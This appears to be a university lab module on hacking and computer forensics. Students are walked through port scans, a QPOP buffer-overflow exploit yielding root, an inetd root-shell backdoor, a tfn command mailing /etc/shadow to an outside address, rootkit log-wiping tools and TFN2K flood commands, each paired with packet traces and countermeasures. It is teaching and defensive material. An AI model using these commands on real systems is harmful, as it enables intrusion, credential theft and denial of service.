Hacking Techniques and Computer Forensics Analysis

Version 1.2 (changes click here )

Disclaimer:

All the materials provided here for educational use only and is not intended to be used for illegal activities. We provide the information to you "as is" and will not be held responsible for direct, indirect or incidental damages arising in any way out of the use of these materials.

Table of Content

  1. The Threats
  2. Classes of Attackers
  3. How they hack in
  4. Backdoor Management
  5. Rootkit
  6. Distributed Denial-Of-Service (DDOS):TFN2K - An Analysis

  7. Computer Forensics

    A) The Threats

    1. Hacker Technologies
      • Internet Engineering
      • System Administration
      • Network Management
      • Reverse Engineering
      • Distributing Computing
      • Cryptography
      • Social Engineering

    2. Hacking Tools become more and more sophisticated and powerful in term of
      • Efficiency
      • Distributing
      • Stealth
      • Automation
      • User friendliness

    3. Attack Sophistication VS Intruder Technical Knowledge

    4. These hacking tools could be easily download from the Internet =>
      • Hacker tool ability increases
      • Knowledge of hacker decreases
      • Population of hacker increases
      • Some day, even elementary school kid may hack into your system

    5. Your host does not need to be as famous as yahoo or ebay to be targeted
      • They need a place to hide their trace
      • They need your host as a stepping stone to hack other sites
      • They need your host resource to carry out their activities

    6. Your host security weakness can be identified by scan tool

    7. Security of any network on the Internet depends on the security of every other networks

    8. No network is really secure

    9. The trends
      • Hacking activities become more and more common
      • Poor management networks will become the hackers playground


    B) Classes of Attackers


    C) How they hack in

    1. General Steps
      1. Locate the victim hosts by some scanning program
      2. Identify the victim host vulnerability
      3. Attack the victim host via this vulnerability
      4. Establish backdoors for later access
      5. After break-in, use this victim host to
        • run sniffer to collect user password information
        • hack or attack other network
        • use this victim host resource to carry out their activities
        • Web page defacement for certain assertion

      Some hacking tools can automate the above steps (i - iv) into a single command.
      (See the real case study at http://personal.ie.cuhk.edu.hk/~shlam/ssem/is/case1/)

    2. Scanning
      Recalling the previous network monitoring and debugging module, a normal finger tcpdump should be like this:
      csh> /usr/local2/bin/tcpdump port finger tcpdump: listening on eth0 10:21:17.965990 ntec24.3281 > ntec23.finger: S 1618224228:1618224228(0) win 32120 <mss 1460,sackOK,timestamp 60111670[|tcp]> (DF) 10:21:17.966056 ntec23.finger > ntec24.3281: S 1618530563:1618530563(0) ack 1618224229 win 30660 <mss 1460,sackOK,timestamp 343486293[|tcp]> (DF) 10:21:17.966193 ntec24.3281 > ntec23.finger: . ack 1 win 32120 <nop,nop,timestamp 60111670 343486293> (DF) 10:21:17.966247 ntec24.3281 > ntec23.finger: P 1:3(2) ack 1 win 32120 <nop,nop,timestamp 60111670 343486293> (DF) 10:21:17.966286 ntec23.finger > ntec24.3281: . ack 3 win 30660 <nop,nop,timestamp 343486293 60111670> (DF) 10:21:18.077146 ntec23.finger > ntec24.3281: P 1:148(147) ack 3 win 31856 <nop,nop,timestamp 343486304 60111670> (DF) 10:21:18.077301 ntec24.3281 > ntec23.finger: . ack 148 win 31973 <nop,nop,timestamp 60111681 343486304> (DF) 10:21:18.077760 ntec23.finger > ntec24.3281: F 148:148(0) ack 3 win 31856 <nop,nop,timestamp 343486304 60111681> (DF) 10:21:18.077887 ntec24.3281 > ntec23.finger: . ack 149 win 31972 <nop,nop,timestamp 60111681 343486304> (DF) 10:21:18.077938 ntec24.3281 > ntec23.finger: F 3:3(0) ack 149 win 32120 <nop,nop,timestamp 60111681 343486304> (DF) 10:21:18.077959 ntec23.finger > ntec24.3281: . ack 4 win 31856 <nop,nop,timestamp 343486304 60111681> (DF)

      The connection starts with SYN packets, then the data transfer packets (PUSH) and finally ends with FIN and ACK packets.

      Now we examin the tcpdump of different scans. Notation: ntec23 is the server to be scanned while ntec24 is the scanner host.

      Plain TCP connect () scan

      The tcpdump is

      10:31:17.658406 ntec24.3953 > ntec23.finger: S 2262489697:2262489697(0) win 32120 <mss 1460,sackOK,timestamp 60171644[|tcp]> (DF) 10:31:17.658429 ntec23.finger > ntec24.3953: S 2259807488:2259807488(0) ack 2262489698 win 30660 <mss 1460,sackOK,timestamp 343546267[|tcp]> (DF) 10:31:17.658539 ntec24.3953 > ntec23.finger: . ack 1 win 32120 <nop,nop,timestamp 60171644 343546267> (DF) 10:31:17.854445 ntec23.finger > ntec24.3953: P 1:26(25) ack 2 win 31856 <nop,nop,timestamp 343546287 60171645> (DF) 10:31:17.854573 ntec24.3953 > ntec23.finger: R 2262489699:2262489699(0) win 0 The first three packets still obey TCP's three-way handshake (SYN,SYN/ACK,ACK). However, the does not end with FIN packets but with the RST packet. The scan does not expect any data transfer at all. As this TCP connect () scan still obey the TCP's three-way handshake, most NIDS can detect it. If the port is closed, says the pop3 port, the server will response a RST packet as follows.

      10:40:08.920279 ntec24.3795 > ntec23.pop3: S 2827217379:2827217379(0) win 32120 <mss 1460,sackOK,timestamp 60224775[|tcp]> (DF) 10:40:08.920308 ntec23.pop3 > ntec24.3795: R 0:0(0) ack 2827217380 win 0

      TCP SYN, or "half connect ()" scan

      The tcpdump is

      10:42:40.962388 ntec24.44947 > ntec23.finger: S 660033090:660033090(0) win 3072 10:42:40.962616 ntec23.finger > ntec24.44947: S 2958343995:2958343995(0) ack 660033091 win 31624 <mss 536> (DF) 10:42:40.962745 ntec24.44947 > ntec23.finger: R 660033091:660033091(0) win 0 The scanner sends a reset to any port reported as open by the victim, rather than continue with the three-way handshake. As the three-way handshake has not been completed, some old NIDS may not detect this scan.

      Similarly, a closed port will response a RST packet as follows.

      10:43:03.689160 ntec24.38245 > ntec23.pop3: S 1088233087:1088233087(0) win 1024 10:43:03.689316 ntec23.pop3 > ntec24.38245: R 0:0(0) ack 1088233088 win 0

      Stealth FIN, Xmas Tree, and Null Scan

      The tcpdump is

      10:52:34.601186 ntec24.35491 > ntec23.finger: F 0:0(0) win 1024 10:52:34.920570 ntec24.35492 > ntec23.finger: F 0:0(0) win 1024 10:52:42.320027 ntec24.35491 > ntec23.finger: F 0:0(0) win 1024 10:52:42.639999 ntec24.35492 > ntec23.finger: F 0:0(0) win 1024 10:53:01.789094 ntec24.63417 > ntec23.finger: FP 0:0(0) win 4096 urg 0 10:53:02.118432 ntec24.63418 > ntec23.finger: FP 0:0(0) win 4096 urg 0 10:53:07.598251 ntec24.63417 > ntec23.finger: FP 0:0(0) win 4096 urg 0 10:53:07.918197 ntec24.63418 > ntec23.finger: FP 0:0(0) win 4096 urg 0 10:53:20.762734 ntec24.45111 > ntec23.finger: . win 4096 10:53:21.066978 ntec24.45112 > ntec23.finger: . win 4096 10:53:24.327892 ntec24.45111 > ntec23.finger: . win 4096 10:53:24.636764 ntec24.45112 > ntec23.finger: . win 4096 Some firewalls may restrict the SYN packet in their network. This scan is using FIN, FIN/URG/PUSH and NULL flag (turns off all flags) packet to probe if the port is open or not so as to get around the firewall restriction.

      The idea of this is that closed ports are required to reply to your probe packet with an RST, while open ports must ignore the packets in question (see RFC 793). If scanners do not receive any reply with this scan, then they know the port is open.

      Here it is the response of a closed port

      10:53:41.675979 ntec24.55700 > ntec23.pop3: F 0:0(0) win 4096 10:53:41.675997 ntec23.pop3 > ntec24.55700: R 0:0(0) ack 0 win 0 10:53:54.003968 ntec24.35307 > ntec23.pop3: FP 0:0(0) win 4096 urg 0 10:53:54.004089 ntec23.pop3 > ntec24.35307: R 0:0(0) ack 0 win 0 10:54:08.265547 ntec24.52031 > ntec23.pop3: . win 4096 10:54:08.265671 ntec23.pop3 > ntec24.52031: R 0:0(0) ack 0 win 0
      Assignment C.2 (partner a and b do it separately)
      1. comment the rtlog and mrtg entry in crontab so that your tcpdump job will not be killed by the cron job

        #0/5 * * * * /usr/local2/share/mon/rtlog > /dev/null 2>&1
        #1-59/5 * * * * /mnt2/local/mrtg-2/bin/mrtg ....

      2. mkdir /usr/local/apache_x/htdocs/sysmon/security
        (where x is a for partner a and b for partner b)

      3. cd /usr/local/apache_x/htdocs/sysmon/security

      4. tcpdump the scanner packets /usr/local2/bin/tcpdump port finger or port pop3 Dump the output to ass_C2.html

      5. login your external partner host (ssh your_partner_host -l your_username). Then do the following scans to your host /usr/local2/bin/nmap -sT your_host /usr/local2/bin/nmap -sS your_host /usr/local2/bin/nmap -sF your_host /usr/local2/bin/nmap -sX your_host /usr/local2/bin/nmap -sN your_host Also dump this result to ass_C2.html file

      6. Annotate your ass_C2.html and identify the scan packets of a open and closed port


    3. Buffer Overflow Exploit
      One of the common method that hackers use to break into a system is Buffer Overflow Exploit. This problem is commonly exploited by hackers to get arbitrary commands executed by a program running with root permissions.

      In general, buffer overflow attack involves the following steps:

      1. stuffing more data into a buffer than it can handle
      2. overwrites the return address of a function
      3. switches the execution flow to the hacker code

      Process Memory Region

      An example of buffer overflow program


      Assignment C.3 (partner a and b do it separately)
      1. cd /usr/local/apache_x/htdocs/sysmon/security

      2. tcpdump the packets to a dump file /usr/local2/bin/tcpdump -s 5000 -w c3.dump host your_host and port 110

      3. Do the following normal pop3 qurey to victim csh> telnet victim 110 Trying 192.168.128.50... Connected to victim (192.168.128.50). Escape character is '^]'. +OK QPOP (version 3.0b12) at victim starting. user tuser +OK Password required for tuser. pass 12345678 +OK tuser has 0 messages (0 octets).

      4. Now try the pop3 buffer overflow attack csh> /mnt2/local/share/hdemo/qpop3b victim QPOP 3.0b AUTH overflow (linux x86) [exploit] : [0xbfffd150] : unsuccessful. [exploit] : [0xbfffd344] : unsuccessful. [exploit] : [0xbfffd538] : successful. b00m uid=0(root) gid=0(root) groups=0(root) Linux victim 2.2.12-20 #1 Mon Sep 27 10:40:35 EDT 1999 i686 unknown whoami root hostname victim Do not change anything at victim after you have broken into it

      5. Now, hit control C in window you run tcpdump in step ii to terminate the tcpdump and then extract the data from c3.dump
        /usr/local2/bin/snort -devr c3.dump 
        
        Dump the data to ass_C3.html

      6. Annotate your ass_C3.html and identify the normal pop3 query packets and the buffer overflow attack packets


    D) Backdoor Management

    After hackers have broken into a host, they will build backdoors for later access and control of the host.

    1) Type I: Interactive access

    1. Install vulnerable daemons or programs for later access
      E.G. popper amd, named ... etc

      Counter Measures: Although hacker may fix the file acm timestamp, file size and checksum of these program, a good host based IDS, says using md5 signature check, can identify these program.

    2. Establish the remote root acess through inetd
      E.G. Start another /usr/sbin/inetd instance using the the following configuration file 8080 stream tcp nowait root /bin/sh sh -iIn such case, hacker can get root access directly by telneting the victim host port 8080

      Counter Measures: Use NIDS to look for or detect any the unusual network flow in/out your network. Hacker may use unsuspected port number, says, 8080 (web proxy), 110 (pop mail), 119 (nntp) or even 80 (www). These may get around your NIDS. Hence, configure your firewall to minimum port access and monitor these open ports closely


      Assignment D.1 (partner a and b do it separately)

      1. cd /usr/local/apache_x/htdocs/sysmon/security

      2. Choose a port number (says 8080,110,119). Make sure it is different from your internal partner and is not open at your host

      3. tcpdump the packet on that port /usr/local2/bin/tcpdump -s 5000 -w d1.dump host your_host and port your_port_number

      4. Create a /tmp/your_port_number file with the following line
        your_port_number stream tcp nowait root /bin/sh sh -i

      5. start up your inetd /usr/sbin/inetd /tmp/your_port_number

      6. login your external partner host (ssh your_partner_host -l your_username). Then try to access your host through this backdoor. E.G. csh> telnet ntec23 8080 Trying 192.168.64.23... Connected to ntec23 (192.168.64.23). Escape character is '^]'. bash# whoami whoami root bash# bash# finger finger Login Name Tty Idle Login Time Office Office Phone root root *pts/2 Oct 31 12:27 (ntec4.ie.cuhk.edu.hk) shlam Alan S H Lam pts/0 25 Oct 31 14:19 (ntec4.ie.cuhk.edu.hk) bash# bash# ps -ef ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 Sep21 ? 00:00:12 init [3] root 2 1 0 Sep21 ? 00:00:03 [kflushd] root 3 1 0 Sep21 ? 00:00:01 [kupdate] root 4 1 0 Sep21 ? 00:00:00 [kpiod] root 5 1 0 Sep21 ? 00:01:52 [kswapd] ... ... exit You are not necessary to follow the above example commands, you may run any command that you think suitable.

      7. Now, hit control C in window you run tcpdump in step iii to terminate the tcpdump and then extract the data from d1.dump

        Dump all the packets

         /usr/local2/bin/snort -dvr d1.dump 
        Trace the command that you have executed on your host via this backdoor
         /usr/local2/bin/snort -dvr d1.dump dst your_host and 'tcp[13] & 8 !=0'
        Identify the command and compare it with /root/.bash_history
        tail  /root/.bash_history
        whoami
        finger
        ps -ef
        quit
        exit
        
        Trace the command that your host responsed
         /usr/local2/bin/snort -dvr d1.dump src your_host and 'tcp[13] & 8 !=0'
        Dump the data to ass_D1.html

      8. Annotate your ass_D1.html

      9. kill your the backdoor inetd
        csh> ps -ef|grep inetd
        root       541     1  0 Sep21 ?        00:00:00 inetd
        root     23301     1  0 16:57 ?        00:00:00 /usr/sbin/inetd /tmp/8080
        
        csh> kill 23301
        


    3. Use general user accounts
      Hackers' sniffer program may collect large amount of your user password from your network or directly crack the password from your password file. They will use these gnearl user accounts to login your host again and then get root shell by the pre-install trojaned programs. Or they may just create or modify a idle user account with 0 uid and 0 gid, such as user8:x:0:0::/home/user8:/bin/bash

      Counter Measures: If your host is allowed for general user to login, you need to have close monitoring and control of your user activities at your host, says enable the lastcomm logging, install user restrict shell, enforce the password aging frequently.

    2) Type II: Semi-interactive access

    Using the tfn daemon
    Besides DDOS attack, tfn allow you to run root command at a tfn daemon installed host. The tfn client and the tfn daemon communtion is in one way, faked source ip and encrypted. Hence, the communtion to tfn daemon is highly stealthy and highly untraceable. For example, ntec24 is faking the souce address 171.192.128.1 to sending the following command to its agent ntec23 where the tfn daemon is installed

    /usr/local2/share/hdemo/tfn -h ntec23 -S 171.192.128.1 -c 10 -i "cat /etc/shadow|/bin/mail root@s24.hkntec.net"
    
    At ntec23, the snort only show the faked source IP packets (udp/tcp/icmp) with data encrypted. 171.192.128.1 -> 192.168.64.23 ICMP TTL:204 TOS:0x0 ID:56870 ID:0 Seq:10653 ECHO REPLY 59 6D 65 44 57 63 6A 4D 77 77 73 48 4B 31 56 4B YmeDWcjMwwsHK1VK 36 78 62 45 6E 4B 4F 30 71 52 2F 52 59 74 57 37 6xbEnKO0qR/RYtW7 6B 43 66 68 61 6F 66 47 71 6B 4C 57 4F 72 50 63 kCfhaofGqkLWOrPc 42 51 75 58 72 2F 70 73 61 44 6B 6A 4D 62 48 6F BQuXr/psaDkjMbHo 56 37 6B 4F 66 30 47 62 6A 30 79 34 66 4D 51 32 V7kOf0Gbj0y4fMQ2 4B 48 64 6B 30 77 41 KHdk0wA ...
    Assignment D.2 (cancel)


    3) Type III: Non-interactive access

    Thie type of access is highly stealthy and untraceable. It is also difficult to detect in NDIS because they use the most common and unsupected traffic (mail and usenet news) and there are so many anonymous mail relays and news servers that allow people to send mail and post news anonymously.

    i) By mail

    Hacker install a .forward file in a user account home directory so that mail to this user will execute a program.

    In this seminar demo, user6 .foward is

    "|/etc/.email" Hacker can send encryped command to user6 and /etc/.email will decrypt the command from the received mail and execute the command through pre-installed trojaned programs. e.g. encrypt_program command_file | mail -s "doooit" user6@s25.hkntec.net The subject "doooit" is just distinguish the hacker command mail from a normal mail.

    Hacker can also send thier updated trojaned programs through this mechanism.

    e.g. encrypt_program vulnerable_in.ftpd | mail -s "saveeeit" user6@s25.hkntec.net The subject "saveeeit" just tell the /etc/.email program to save the incoming program rather than execute it.

    Counter Measures: the mail content is encrypted, it is difficult for the NIDS to detect this traffic. The better way to counter act it is to restrict user .forward file, enable senmail smrsh and close monitor the smrsh directory. A good host based IDS and good user/sendmail policy should help.

    ii) By usenet news

    Hackers post their encrypted command in a unsupected newsgroups, say alt.test. A user account at the victim host will read this posted news, decrypted it and execute it by crontab

    In this seminar demo:
    The hacker post the command to the "cuhk.erg.test" newsgroups with subject name "testting"

    encrypt_program command_file |./pnews cuhk.erg.test testting The user6 account have the following crontab job to check the hacker posting 0 * * * * /etc/.newr cuhk.erg.test testting Note, /etc/.newr may delay randon minutes to get the news so as to get rid of the regularity of the read news frequency.

    Counter Measures: NDIS does not help much as there is nothing we can trace from the network traffic unless your NDIS has close monitor of all usenet news traffic in your network. In addition, your NDIS should have the intelligent to detect this encrypted posted news. A better way to counter act it is to disable all user crontab job at your host. Grant the permission on reasonable request. A good host based IDS should help too.


    E) Rootkit

    After hackers have broken into a host, they may also install some trojaned programs (rootkit) to cover their trace.

    In this cousrse, the 't0rnkit' rootkit mentioned in CERT Incident Note IN-2000-10: Widespread Exploitation of rpc.statd and wu-ftpd Vulnerabilities will be used of demostration in this module

    This rootkit include the following trojaned programs to replace the original ones in the break-in host

    The default hidden directory is /usr/src/.puta

      /bin/login            - general user get root shell
      /sbin/ifconfig        - hide promiscuous mode of the interface when running sniffer program
      /bin/ps               - hide process names specified in .1proc file
      /usr/bin/du           - hide files/directories specified in .1file file
      /bin/ls               - hide files/directories specified in .1file file
      /bin/netstat          - hide network connection specified in .1addr file
      /usr/sbin/in.fingerd  - general user get root shell
      /usr/bin/find         - hide files/directories specified in .1file file 
      /usr/bin/top          - hide process names specified in .1proc file
    
      Counter measure: Never trust any program at the suspected host. Use your
                       trusted program from your CDROM or floppy disk. However,
                       is the host kernel is also trojaned, then this cannot
                       help under this situation.
    
      
    This rootkit also comes with the sniffer program (t0rn) and log eraser program (t0rnsb) which can erase a specified entry in most of the system log files, says log files in /var/log. However, this log eraser program does not have the intelligent to fix up the consistency of a log file. For examples, it can erase all the ftp connection log in the messages file according the input argument, however it does not remove the corresponding ftp close log entries. Therefore, by examining the log file carefully with the missing part, we can still find out some hacking activities, says the approximate hacking time.

    Besides the above trojaned programs, the following programs/tools are also added for demo:

    chfn - general user get root shell chsh - general user get root shell sz - fix the size of a a trojaned programs Usage: ./sz <original file> <new file> fix - fix the checksum of a trojaned programs Usage: fix original replacement [backup] wipe - clear last log file USAGE: wipe [ u|w|l|a ] ...options... UTMP editing: Erase all usernames : wipe u [username] Erase one username on tty: wipe u [username] [tty] WTMP editing: Erase last entry for user : wipe w [username] Erase last entry on tty : wipe w [username] [tty] LASTLOG editing: Blank lastlog for user : wipe l [username] Alter lastlog entry : wipe l [username] [tty] [time] [host] Where [time] is in the format [YYMMddhhmm] A simple touch command, "touch -acmr" can easily change the access time, status changed time and last modified time of a file or directory. Hence, do not 100% trust the acm timestamp in your ls and find command


    F) Distributed Denial-Of-Service (DDoS):TFN2K - An Analysis

    1. Attack model

      The client program tfn running on the Client sending commands to its server nodes which are running a server prgrom td. The ccommunication between the client and server nodes are encrypted with CAST 256 alorgthim (key length from 128 to 256). The communication packets are using random sourc IP via TCP , UDP and ICMP protocol. Hence, the communication is one way from client to server nodes.

      Once the server nodes recieve the commands from thier client, they commence the flood attack.

      TNF2K proives the following attacks:

      UDP flood, usage: -i victim@victim2@victim3@... TCP/SYN flood, usage: -i victim@... [-p destination port] ICMP/PING flood, usage: -i victim@... ICMP/SMURF flood, usage: -i victim@broadcast@broadcast2@... MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim@... TARGA3 flood (IP stack penetration), usage: -i victim@.. The attack packets to the victim are also using random source IP. Hence, it is difficult to trace the originity of the attack even sniffering the attack packages. *----------* | | | Attacker | | | *----------* | | *----------* | | | Client | | | *----------* | (commands to nodes) | *------------*------*------*------------* | | | | | | | | v v v v *----------* *----------* *----------* *----------* | | | | | | | | | Node | | Node | | Node | | Node | | | | | | | | | *----------* *----------* *----------* *----------* \ \ / / \ \ / / \ \ / / (any number of floods or attacks) \ \ / / \ \ / / \ \ / / V V V *-----------------------* | | | Victim | | | *-----------------------*
    2. The Command menu of the client tfn

      root@iegatea0 tfn2k]# ./tfn usage: ./tfn [-P protocol] Protocol for server communication. Can be ICMP, UDP or TCP. Uses a random protocol as default [-D n] Send out n bogus requests for each real one to decoy targets [-S host/ip] Specify your source IP. Randomly spoofed by default, you need to use your real IP if you are behind spoof-filtering routers [-f hostlist] Filename containing a list of hosts with TFN servers to contact [-h hostname] To contact only a single host running a TFN server [-i target string] Contains options/targets separated by '@', see below [-p port] A TCP destination port can be specified for SYN floods <-c command ID> 0 - Halt all current floods on server(s) immediately 1 - Change IP antispoof-level (evade rfc2267 filtering) usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed) 2 - Change Packet size, usage: -i 3 - Bind root shell to a port, usage: -i 4 - UDP flood, usage: -i victim@victim2@victim3@... 5 - TCP/SYN flood, usage: -i victim@... [-p destination port] 6 - ICMP/PING flood, usage: -i victim@... 7 - ICMP/SMURF flood, usage: -i victim@broadcast@broadcast2@... 8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim@... 9 - TARGA3 flood (IP stack penetration), usage: -i victim@... 10 - Blindly execute remote shell command, usage -i command The communication packtets between the client and server nodes are using random source IP. [root@iegatea0 ~]# tcpdump host ntec1 10:25:29.858622 eth0 > 53.165.192.0.22668 > 137.189.99.81.64952: S 0:47(47) win 5093 10:25:29.879226 eth0 > 53.165.192.0.6798 > 137.189.99.81.53721: udp 30 10:25:29.899051 eth0 > 53.165.192.0 > 137.189.99.81: icmp: echo reply 10:25:29.919050 eth0 > 53.165.192.0 > 137.189.99.81: icmp: echo reply 10:25:29.939055 eth0 > 53.165.192.0.17166 > 137.189.99.81.16226: udp 30 10:25:29.959076 eth0 > 53.165.192.0 > 137.189.99.81: icmp: echo reply 10:25:29.979260 eth0 > 53.165.192.0.16704 > 137.189.99.81.40553: . 339790:339837(47) ack 0 win 0 10:25:29.999074 eth0 > 53.165.192.0 > 137.189.99.81: icmp: echo reply 10:25:30.019075 eth0 > 53.165.192.0 > 137.189.99.81: icmp: echo reply 10:25:30.039048 eth0 > 53.165.192.0.4810 > 137.189.99.81.3467: udp 30 10:25:30.059291 eth0 > 53.165.192.0.25373 > 137.189.99.81.58732: S 4707273:4707320(47) ack 11500271 win 32087 10:25:30.079044 eth0 > 53.165.192.0.46691 > 137.189.99.81.3017: udp 30 10:25:30.099208 eth0 > 53.165.192.0.50047 > 137.189.99.81.14998: . 0:47(47) ack 0 win 50064 10:25:30.119105 eth0 > 53.165.192.0 > 137.189.99.81: icmp: echo reply 10:25:30.139040 eth0 > 53.165.192.0.18898 > 137.189.99.81.64259: udp 30 10:25:30.159230 eth0 > 53.165.192.0.44591 > 137.189.99.81.41979: S 9902919:9902966(47) ack 0 win 55543 10:25:30.179037 eth0 > 53.165.192.0 > 137.189.99.81: icmp: echo reply 10:25:30.199090 eth0 > 53.165.192.0 > 137.189.99.81: icmp: echo reply 10:25:30.219062 eth0 > 53.165.192.0 > 137.189.99.81: icmp: echo reply 10:25:30.239121 eth0 > 53.165.192.0 > 137.189.99.81: icmp: echo reply The command messages in the communciation packets between the client and master nodes are encrypted by CAST 256. BTW, there is a signature of these packets -- 0x41 at the end of each packtes. [root@iegatea0 ~]# tcpdump -x host ntec1 Kernel filter, protocol ALL, datagram packet socket tcpdump: listening on all devices 10:25:53.368639 eth0 > 19.213.253.0 > 137.189.99.81: icmp: echo reply 4500 0037 e8a6 0000 dd01 f73a 13d5 fd00 89bd 6351 0000 a8ef 0c21 7e9d 2b54 4473 7955 6862 5463 6471 7a4b 6a72 6543 5a38 5a41 4141 4141 41 10:25:53.387922 eth0 > 19.213.253.0.58890 > 137.189.99.81.23376: udp 30 4500 0037 76a4 0000 d911 6d2d 13d5 fd00 89bd 6351 e60a 5b50 0026 f252 2b54 4473 7955 6862 5463 6471 7a4b 6a72 6543 5a38 5a41 4141 4141 41 10:25:53.407935 eth0 > 19.213.253.0 > 137.189.99.81: icmp: echo reply 4500 0037 90a4 0000 ca01 623d 13d5 fd00 89bd 6351 0000 2848 0b66 0000 2b54 4473 7955 6862 5463 6471 7a4b 6a72 6543 5a38 5a41 4141 4141 41 10:25:53.428187 eth0 > 19.213.253.0.24765 > 137.189.99.81.26175: S 11886646:11886693(47) win 23580 4500 0043 bc99 0000 d906 2737 13d5 fd00 89bd 6351 60bd 663f 00b5 6036 00dd 7e9b 0002 5c1c 302f 0000 2b54 4473 7955 6862 5463 6471 7a4b 6a72 6543 5a38 5a41 4141 4141 41

    3. The Attack Examples:

      ICMP flood attack

      [root@iegatea0 tfn2k]# ./tfn -h ntec1 -c 6 -i 137.189.96.18@ Protocol : random Source IP : random Client input : single host Target(s) : 137.189.96.18@ Command : commence icmp echo flood The server node (ntec1 in this example) generate enormous ICMP flood to the victim with the random faked source IP.

      tcpdump does not show all the no. of these packets due to packets drop in the network interface but the swtich record down the traffic.

      Server node port traffic

      [root@ntec1 tfn2k]# tcpdump host iest18 Kernel filter, protocol ALL, datagram packet socket tcpdump: listening on all devices 10:09:51.357753 eth0 > 30.12.188.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.358864 eth0 > 115.158.168.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.358949 eth0 > 42.57.217.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.359031 eth0 > 63.90.55.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.359113 eth0 > 83.28.81.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.359195 eth0 > 232.168.136.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.360206 eth0 > 58.77.151.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.360297 eth0 > 132.1.61.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.360380 eth0 > 182.190.60.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.360462 eth0 > 48.15.118.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.360544 eth0 > 204.59.230.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.360625 eth0 > 239.123.23.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.360707 eth0 > 109.51.39.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.360788 eth0 > 23.183.134.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.360869 eth0 > 43.158.42.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.360951 eth0 > 187.232.84.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.361032 eth0 > 218.98.7.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.361121 eth0 > 217.7.176.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.361204 eth0 > 102.143.242.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.361286 eth0 > 115.58.37.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:09:51.361368 eth0 > 12.11.168.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0]

    4. MIX Attack using TCP, UTP and ICMP:

      [root@iegatea0 tfn2k]# ./tfn -h ntec1 -c 8 -i 137.189.96.18@ Protocol : random Source IP : random Client input : single host Target(s) : 137.189.96.18@ Command : commence mix flood [root@ntec1 tfn2k]# tcpdump host iest18 10:48:01.793914 eth0 < arp reply iest18.ie.cuhk.edu.hk is-at 8:0:20:72:a3:67 (0:d0:9:1c:53:1b) 10:48:01.860214 eth0 > 6.218.126.0.57825 > iest18.ie.cuhk.edu.hk.7711: udp 1 10:48:01.860959 eth0 > 135.34.187.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:48:01.861308 eth0 > 67.39.22.0.38313 > iest18.ie.cuhk.edu.hk.4477: S 15307942:15307962(20) win 54614 urg 1905 10:48:01.861446 eth0 > 105.39.155.0.57824 > iest18.ie.cuhk.edu.hk.7712: udp 1 10:48:01.861529 eth0 > 185.107.87.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:48:01.861872 eth0 > 167.206.213.0.61293 > iest18.ie.cuhk.edu.hk.49104: S 2119505:2119525(20) win 21335 urg 55981 10:48:01.862010 eth0 > 47.7.105.0.57823 > iest18.ie.cuhk.edu.hk.7713: udp 1 10:48:01.862091 eth0 > 152.193.101.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:48:01.862434 eth0 > 131.2.239.0.22771 > iest18.ie.cuhk.edu.hk.64830: S 7184719:7184739(20) win 18764 urg 53747 10:48:01.862572 eth0 > 37.213.104.0.57822 > iest18.ie.cuhk.edu.hk.7714: udp 1 10:48:01.862653 eth0 > 246.19.128.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:48:01.862996 eth0 > 244.167.176.0.11037 > iest18.ie.cuhk.edu.hk.65445: S 4719927:4719947(20) win 51371 urg 42965 10:48:01.863133 eth0 > 117.58.21.0.57821 > iest18.ie.cuhk.edu.hk.7715: udp 1 10:48:01.863214 eth0 > 77.244.115.0 > iest18.ie.cuhk.edu.hk: icmp: echo request [ttl 0] 10:48:01.863556 eth0 > 122.141.112.0.15097 > iest18.ie.cuhk.edu.hk.24997: S 61206:61226(20) win 469 snoop packet information at iest18

